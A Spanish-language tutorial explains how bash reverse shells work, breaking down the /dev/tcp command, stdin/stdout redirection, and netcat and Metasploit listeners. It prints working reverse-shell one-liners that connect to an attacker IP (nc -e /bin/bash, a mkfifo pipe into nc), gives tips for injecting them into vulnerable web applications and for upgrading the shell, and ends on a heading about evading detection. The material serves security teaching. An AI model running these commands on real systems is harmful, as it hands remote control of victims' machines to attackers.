Una reverse shell es una técnica de conexión en la que la máquina víctima inicia una conexión hacia la máquina atacante, enviándole una shell interactiva. Esto invierte el flujo normal de conexión, permitiendo al atacante controlar la máquina víctima evadiendo restricciones de red como firewalls y NAT.
Esta técnica es especialmente útil cuando:
La máquina objetivo está protegida por un firewall que bloquea conexiones entrantes
Se ha conseguido ejecución remota de comandos en una aplicación web vulnerable
Se necesita mantener persistencia tras la explotación inicial
La máquina víctima está detrás de NAT o no tiene IP pública accesible
graph LR
A[Máquina Atacante\nEscuchando] -->|3. Recibe conexión| B{Conexión\nTCP}
C[Máquina Víctima] -->|1. Ejecuta payload\n2. Inicia conexión| B
B -->|4. Canal de comunicación establecido| A
B -->|5. Shell interactiva| C
style A fill:#f96,stroke:#333,stroke-width:2px
style C fill:#6af,stroke:#333,stroke-width:2px
style B fill:#f9f,stroke:#333,stroke-width:2px
Si estás inyectando este comando en una aplicación web, necesitarás codificar ciertos caracteres especiales. Por ejemplo, el carácter & debe ser reemplazado por %26 en contextos de URL.
Explicación Detallada del Comando
Desglose por componentes:
Componente
Descripción
bash -c
Ejecuta el comando que sigue como argumento en una nueva instancia de bash
"bash -i"
Inicia una shell bash interactiva (-i) que permite entrada/salida del usuario
>&
Redirecciona tanto la salida estándar (1) como el error estándar (2) hacia el destino que sigue.
/dev/tcp/IP/PUERTO
Pseudoarchivo especial que crea una conexión TCP al IP y puerto especificados
0>&1
Redirige stdin (0) al mismo lugar que stdout (1), completando el circuito de comunicación
Si no pones 0>&1, lo que sucede es que tú no puedes hablarle a Bash, pero Bash sí puede hablarte a ti.
El escenario SIN 0>&1:
Imagina que solo ejecutas: bash -i >& /dev/tcp/IP/PORT
Lo que tú ves (Atacante): En tu pantalla de repente aparece el prompt: usuario@maquina:~$. ¡Parece que funciona!
Tu acción: Escribes ls y pulsas Enter.
El problema: Tu ls viaja por la red, llega a la tarjeta de red de la víctima… ¡y ahí se muere!.
Por qué: Porque el Bash de la víctima está esperando que alguien pulse teclas en su teclado físico (su Entrada 0 original). Como no has redirigido su “oreja” (entrada) al cable de red, Bash ni siquiera se entera de que le enviaste un ls.
En resumen: Sin 0>&1, tú ves el monitor de la víctima, pero no puedes usar su teclado. Es como mirar una película por streaming: ves lo que pasa, pero no puedes controlar al protagonista.
El escenario CON 0>&1:
Al añadir esa parte, le dices a Bash: “Deja de escuchar al teclado físico y empieza a escuchar lo que venga por el mismo cable por el que me estás mandando la imagen del monitor”.
Componente
Sin 0>&1
Con 0>&1
Salida (1)
Red (Tú ves el prompt)
Red (Tú ves el prompt)
Entrada (0)
Teclado físico de la víctima
Red (Tú escribes los comandos)
Resultado
Solo lectura (Mirón)
Control total (Interactivo)
Diagrama de redirección de flujos:
graph LR
A[stdin\n0] -->|"0>&1"| C["/dev/tcp/IP/PUERTO"]
B1[stdout\n1] -->|"\>&"| C
B2[stderr\n2] -->|"\>&"| C
C -->|Conexión TCP| D[Máquina Atacante]
Recordatorio importante
0 representa la entrada estándar (stdin)
1 representa la salida estándar (stdout)
2 representa la salida de error (stderr)
Efectos prácticos:
Limitaciones al omitir 0>&1
Si eliminamos 0>&1 del comando:
Conexión unidireccional: La máquina atacante podrá ver la salida de comandos de la víctima, pero no podrá enviar comandos a la shell remota.
Shell “ciega”: La shell se establecerá, pero no podrás interactuar con ella. Verás lo que muestra inicialmente la shell interactiva, pero cualquier comando que escribas no llegará a la máquina comprometida.
Sin interactividad: Esencialmente obtendrás una conexión de solo salida (output-only), similar a un canal de monitoreo pero sin control.
Preparación del Lado Atacante
Para recibir la conexión inversa, el atacante debe configurar un listener en el puerto especificado:
Usando Netcat (la navaja suiza de TCP/IP)
# Escuchar en el puerto 4444nc -lvnp 4444
Usando Metasploit Framework
# Configurar un listener con multi/handlermsfconsole -quse exploit/multi/handlerset PAYLOAD generic/shell_reverse_tcpset LHOST tu_ip_atacanteset LPORT 4444run
Mejorar la shell recibida
Una vez establecida la conexión, puedes mejorar tu shell a una TTY completa:
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm# Presiona Ctrl+Z para enviar el proceso a segundo planostty raw -echo; fg# Presiona Enter dos veces
# Si nc tiene la opción -enc -e /bin/bash 10.10.14.5 4444# Si nc no tiene la opción -erm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
En sistemas Unix/Linux, los flujos estándar están representados por descriptores de archivo:
Descriptor
Nombre
Descripción
0
stdin
Entrada estándar (lo que se escribe en el teclado)
1
stdout
Salida estándar (lo que se muestra en pantalla)
2
stderr
Salida de errores estándar
Ejemplos de redirección comunes:
# Redirige solo los errores al "basurero"comando 2>/dev/null# Redirige solo la salida estándar al "basurero"comando >/dev/null# Redirige tanto stdout como stderr al "basurero"comando >/dev/null 2>&1# Forma abreviada para redirigir tanto stdout como stderrcomando &>/dev/null# Redirige stdin a stdout (utilizado en reverse shells)comando 0>&1
Técnicas de Evasión para Reverse Shells
Consideraciones de seguridad
Los sistemas de detección modernos buscan patrones de reverse shells. Aquí algunas técnicas para evadir detección: